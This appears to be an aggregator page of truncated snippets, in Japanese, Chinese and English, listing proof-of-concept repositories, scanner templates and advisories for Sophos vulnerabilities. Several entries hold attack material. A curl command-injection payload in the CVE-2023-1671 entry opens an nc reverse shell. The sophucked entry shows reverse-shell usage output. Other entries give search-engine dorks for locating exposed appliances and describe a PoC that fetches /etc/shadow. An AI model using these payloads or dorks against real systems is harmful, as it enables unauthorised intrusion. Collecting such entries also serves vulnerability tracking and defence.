IoCs

侵害指標（IoCs） Sophosが公開したレポート由来の侵害指標（IoC） root@kitploit: /@&&@ . @ @ %@%, ./&@@&@@@@ @@ @%&@@& .@, @. @ @% @ && %@ .@@@@. &@&@//@& @/ @ @@ @ %@. ,%@@@@@@@@@&/ ., @% @@ @@,&@@ ,@ .@. @ , @& ,@@@@& .@ @ .@. @ .@ @& @@. %@@% ./. @,...

CVE-2023-1671-POC

Dork fofa title="Sophos Web Appliance" || app="Sophos-Web-Appliance" && title!="Sophos Web Appliance：错误请求" ZoomEye title:"Sophos Web Appliance"-title:"Sophos Web Appliance: Forbidden"-title:"Sophos Web Appliance: Bad Request" Shodan title:"Sophos Web Appliance" 使用方法 root@kitploit: python...

Sophos-Vulnerability

CVE-2022-1040 Sophos RCE 脆弱性分析 攻撃的サイバーセキュリティを専門とする研究グループ Toasec, では、Sophos ファイアウォールにおけるこの脆弱性の分析を実施しました。 この脆弱性は、他の多くの脆弱性と同様に、twitter で検索する方法を知っていれば発見・報告できます。そこでは、3月頃からこの RCE に関する記事が現れ始めたことを確認しました。 出典:...

sophucked

sophucked CVE-2020-25223 RCE PoC、認証不要でリバースシェルを取得します。いくつかの脅威磁石を統合する必要があったため、これを迅速に実装しました。 使用例: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + starting handler on port 80 + Sending callback to x.x.x.x:80 + connection from x.x.x.x + pop thy shell! bash: no job control in this...

CVE-2022-1040

CVE-2022-1040 : Sophos XG115w Firewall 17.0.10 MR-10 - 認証バイパス この脆弱性により、攻撃者は認証をバイパスしてファイアウォール管理領域への不正アクセスを獲得できます。 ☕️ ライブ : ....... 更新済み...

Sophos Mobile managed on-premises - XML External Entity Injection

An XML External Entity XXE vulnerability allows server-side request forgery SSRF and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4. id: CVE-2022-3980 info: name: Sophos Mobile managed on-premises - XML External Entity Injection author: dabla...

CVE-2021-36808

CVE-2021-36808 日本語訳 ローカルの攻撃者は、Sophos Secure Workspace for Android のバージョン 9.7.3115 より前のバージョンにおいて、競合状態を利用してアプリのパスワードをバイパスできる可能性があります。 アドバイザリ: https://www.sophos.com/en-us/security-advisories/sophos-sa-20211029-ssw-pw-bypass 詳細レポート: https://ctulhu.me/posts/sophos-secure-workspace-app-password-bypass...

CVE-2020-25223

CVE-2020-25223 影響を受けるSophos UTMに対してCVE-2020-25223をテストするPoCスクリプト。 IPアドレスを指定すると、スクリプトはデバイスの /etc/shadow ファイルのコピーをダウンロードしようとします。 元の研究: https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance 中的预认证远程代码执行漏洞 Poc root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip =...

CVE-2022-1040

CVE-2022-1040 こちらが2022-08-04に発見されたSophosエクスプロイトで、バージョン17.0.10 MR-10で動作します。...

Sophos Firewall <= 19.0 MR1 - Remote Code Execution

Sophos Firewall version v19.0 MR1 and older is vulnerable to code injection in the User Portal and Webadmin, allowing a remote unauthenticated attacker to execute arbitrary code. id: CVE-2022-3236 info: name: Sophos Firewall = 19.0 MR1 - Remote Code Execution author: daffainfo severity: critical...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin ポータルの認証バイパスとRCEをすべて1つのスクリプトに統合; この脆弱性はSophos Firewall v18.5 MR3 18.5.3 およびそれ以前のバージョンに影響します。 緩和策: できるだけ早く最新バージョンに更新してください https://support.sophos.com/support/s/article/KB-000043853?language=enUS このスクリプトの悪用を防ぐため、無料ではありません:...

cve-2022-1040

環境 Python環境3.10の場合 root@kitploit: It's strongly recommended to use the virtual environment pip3 install baseproxy python3.10 will raise an AttributeError if the version of pyOpenSSLdownloaded with baseproxy is too low. Reinstalling the latest version will fix it. pip3 uninstall pyOpenSSL pip3...

Sophos UTM Preauth - Remote Code Execution

Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11. id: CVE-2020-25223 info: name: Sophos UTM Preauth - Remote Code Execution author: gy741 severity: critical description: Sophos SG UTMA WebAdmin is susceptibl...

Sophos Firewall <=18.5 MR3 - Remote Code Execution

Sophos Firewall version v18.5 MR3 and older contains an authentication bypass vulnerability in the User Portal and Webadmin which could allow a remote attacker to execute code. id: CVE-2022-1040 info: name: Sophos Firewall =18.5 MR4 to mitigate this vulnerability. reference: -...

EUVD-2026-54262

A privilege escalation vulnerability allows local users to execute arbitrary code as root via Sophos Endpoint for macOS older than version 2026.1.1 and Sophos Home for macOS older than version 10.11.6...

CVE-2026-18367

A privilege escalation vulnerability allows local users to execute arbitrary code as root via Sophos Endpoint for macOS older than version 2026.1.1 and Sophos Home for macOS older than version 10.11.6...

CVE-2026-18367

A privilege escalation vulnerability allows local users to execute arbitrary code as root via Sophos Endpoint for macOS older than version 2026.1.1 and Sophos Home for macOS older than version 10.11.6...

CVE-2026-18367

CVE-2026-18367 is a local privilege-escalation affecting Sophos Endpoint for macOS &lt; 2026.1.1 and Sophos Home for macOS

ESET MDR vs Sophos MDR: Compared Time to discover and respond to a threat

A detailed ESET MDR vs Sophos MDR comparison covering tiers, response speed, coverage, threat intelligence, pricing, and breach warranties to help you choose...